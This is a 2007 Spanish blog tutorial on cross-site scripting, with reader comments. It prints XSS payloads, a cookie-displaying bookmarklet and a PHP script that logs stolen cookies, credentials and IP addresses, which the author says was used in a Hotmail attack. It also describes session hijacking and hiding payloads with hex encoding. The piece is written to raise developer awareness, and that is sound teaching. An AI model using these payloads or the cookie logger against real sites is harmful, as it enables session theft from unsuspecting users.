website stats » Vulnerabilidades XSS en páginas web | Solo Código |

Vulnerabilidades XSS en páginas web

Escrito por J.F. el Tuesday, 18 de September del 2007 a las 18:06

XSS proviene del inglés "Cross Site Scripting" y se denomina a la inyección de código HTML incrustado. Éste tipo de vulnerabilidades puede encontrarse en todo tipo de aplicaciones web, no ocurre como con la Inyección SQL que era necesario interactuar con la base de datos. Éste tipo de vulnerabilidades proviene de una validación incorrecta de los datos, y puede tener 2 tipos de orígenes como veremos más adelante. Procedamos pues a definir de la forma más clara posible XSS, ya que puede resultar algo lioso, e iremos explicando un ejemplo.
Las vulnerabilidades XSS no afectan al servidor que las contiene, si no a los usuarios de ese servidor, que pueden ver como información privada(sesión) puede llegar a manos poco deseadas. Expliquemos con un ejemplo un tipo de vulnerabilidad XSS.
Imagina que eres usuario y asiduo visitante a un foro, y a la hora de escribir posts el desarrollador de ese foro no controló de la forma correcta el uso de etiquetas HTML que un usuario podía utilizar a la hora de enviar un mensaje. Ahí es donde se puede explotar una vulnerabilidad XSS. Un usuario puede enviar un mensaje a dicho foro, en el cual puede incluir una URL en la que inyectar código Javascript, de tal forma que podría obtener toda la información de una cookie de cada usuario logueado que pinchara en dicha URL. Ahora es cuando se aprecia por qué el servidor no es atacado, si no los usuarios. Normalmente éste tipo de ataques se culmina enviando la cookie de la víctima a otro servidor de la persona que envío el enlace con el ataque XSS, donde podrá ir almacenando en un archivo de texto por ejemplo toda la información obtenida, y proceder a suplantar la identidad de las personas de las cookies robadas. Pero, ¿Como podrían obtener usuario y contraseña? Realmente no es posible, lo que si puede llegar a resultar sumamente fácil es utilizar los datos de esa cookie y almacenarla en caché para poder acceder posteriormente a foros, webs, etc. Por ejemplo, hace unos meses fué detectada una vulnerabilidad XSS, en la que pinchando en una URL que te enviaban a tu correo de Hotmail, se podía obtener la cookie(procedimiento similar al explicado más adelante). Una vez obtenida la cookie de hotmail, simplemente disponiendo del navegador Mozilla Firefox y la extensión WebDeveloper, podían acceder a la bandeja de entrada del correo. Simplemente abrían su propio correo de Hotmail, le daban a editar cookie(opción que ofrece WebDeveloper), cambiaban los datos por los obtenidos de la víctima y ¡Bingo! Refrescando la página habían robado la sesión y se encontraban en la bandeja de entrada de la víctima. Gracias a Dios el bug apenas duró 2 días, y rapidamente fué parcheado, pero millones de usuarios tuvieron en peligro su cuenta de Hotmail, y muchos quizás no se hayan enterado.
¿Como obtener una cookie gracias a Javascript? Es muy simple, tan sólo copia y pega el siguiente código en la barra de direcciones de tu navegador, estando por ejemplo logueado a Gmail, o cualquier foro, y podrás ver en forma de alerts toda la información de la Cookie:

JavaScript:
  1. javascript:for(var g in document.cookie.split(';'))void(prompt("Valor de cookie "+document.cookie.split(';')[g].split('=')[0],document.cookie.split(';')[g].split('=')[1]));alert("Cookies:\n"+document.cookie.replace(/;/,"\r\n"));

Tipos de vulnerabilidades XSS:
Directa: Es muy dificil encontrarla, ya que permite el uso de etiquetas tan peligrosas como iframe o script
Indirecta: Lo ya mencionado, mediante el uso de URL´s, robando datos mediante Javascript.
Mediante éste tipo de vulerabilidades puedes ser redirigido a una nueva página sin tu saberlo, y al introducir en ellas tu usuario y contraseña puedes ser víctima de un ataque de phising. Veamos un par de ejemplos propuestos por la Wikipedia sobre ataques XSS:

<BR SIZE="&{alert('XSS')}">
<FK STYLE="behavior: url(http://yoursite/xss.htc);">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">

Podemos ver facilmente el código inyectado mediante el uso de estilos, filtros que muchas veces no son controlados y suelen ser aprovechados. Se puede crear un DIV con background-image: url(javascript:eval(this.fu)) como estilo y añadir al DIV un campo llamado fu que contenga el código a ejecutar, como por ejemplo alert('Hola'):

<div fu="alert('Hola mundo');" STYLE="background-image: url(javascript:eval(this.fu))">

La forma de recoger las cookies es muy sencilla, y se puede realizar mediante un sencillo archivo en PHP, como éste, que fué el utilizado para recoger las cookies en el bug de hotmail:

PHP:
  1. <?php
  2. $archivo = fopen('log2.htm','a');
  3. $cookie = $_GET['c'];
  4. $usuario = $_GET['id'];
  5. $ip = getenv ('REMOTE_ADDR');
  6. $re = $HTTPREFERRER;
  7. $fecha=date("j F, Y, g:i a");
  8. fwrite($archivo, '<hr>USUARIO Y PASSWORD: '.htmlentities(base64_decode($usuario)));
  9. fwrite($archivo, '<br>Cookie: '.htmlentities($cookie).'<br>Pagina: '.htmlentities($re));
  10. fwrite($archivo, '<br> IP: ' .$ip. '<br> Fecha y Hora: ' .$fecha. '</hr>');
  11. fclose($archivo);
  12. ?>

Lo más común es encontrar vulnerabilidades XSS en los buscadores de los sitios web, y para saber si uno es vulnerable basta con introducir en la caja de búsqueda: alert("XSS"); Si obtenemos un mensaje quiere decir que dicha página es vulnerable a XSS, y con un poco de imaginación no es difícil empezar a explotarla. Caer en éste tipo de URL´s es difícil ya que resulta bastante obvio pinchar en una URL en la que apreciamos código Javascript, pero podemos camuflarlo cambiando caracter por su valor en hexadecimal, siendo menos obvia la trampa. Obtener una tabla de conversión de caracteres a hexadecimal es algo que no cuesta mucho usando Google. Por tanto espero haber concienciado de lo peligrosas que son las vulnerabilidades XSS, que mucha gente dice que se encuentran presentes en todas las páginas web. Debido a que no es peligroso para el servidor muchos desarrolladores no se preocupan en exceso de ellas, pero por favor, piensesn en el usuario, y traten de crear los filtros adecuados.
Enlaces: | XSS en la Wikipedia | Chuleta completa sobre todo tipo de ataques XSS

Comentarios (10)

Categoria: General

10 Comentarios

Entradas relacionadas


Pingback de La página web del FBI sensible a ataques XSS « Debubuntu’s Weblog

Realizado el Saturday, 8 de December del 2007 a las 0:20

[...] que lleva meses vigente, y que permite generar url´s con contenido ajeno al de la página del FBI mediante XSS. De esa manera, podemos insertar practicamente cualquier cosa que deseemos incluso esconder parte de [...]

Comentario de jose g

Realizado el Saturday, 5 de January del 2008 a las 17:11

document.documentElement.innerHTML=”ActiveSheet”;

Comentario de J.F.

Realizado el Monday, 7 de January del 2008 a las 12:43

¿Qué quieres decir con eso?

Pingback de » Purificador de HTML para quienes programan en PHP | Solo Código |

Realizado el Tuesday, 15 de January del 2008 a las 19:30

[...] de HTML purifier, con esa herramienta podemos estar seguros de tener un código limpio a salvo de vulnerabilidades XSS, válido, etc. Puedes descargarte HTML Purifier y usarlo en tu ordenador o utilizar la demo online. [...]

Comentario de hernan

Realizado el Thursday, 19 de June del 2008 a las 20:17

como lo hago en la practica amigo….

Comentario de Tandy

Realizado el Wednesday, 1 de October del 2008 a las 15:46

只需10元,就能让你的广告遍布各个网站!
支持图片/超链发送!支持分类/地域网站发送!

10元,就可能换来意想不到的效果,为什么不尝试下呢!
QQ:224549200(注明“广告”)

Comentario de carlos

Realizado el Friday, 14 de November del 2008 a las 21:37

Comentario de carlos

Realizado el Friday, 14 de November del 2008 a las 21:38

Comentario de HaCker Mr_NANO

Realizado el Thursday, 20 de May del 2010 a las 16:07

Comentario de leon

Realizado el Friday, 11 de March del 2011 a las 10:25

Esto no funcionara porque este sitio es seguro.

Escribir un comentario

Puedes usar las siguientes etiquetas HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

Solo Código

Solo Código es una colección de códigos de todo tipo que pueden resultar útiles para el diseño de páginas web. Está enfocado tanto para aquellos que son expertos, como para aquellos principiantes que quieren encontrar recursos útiles, o no saben implementar determinadas funciones en sus webs. No olvides que Solo Código es un blog de Informática Práctica, donde tenemos otras secciones interesantes como:
| Tutoriales | Trucos | Software | Links | Buscar |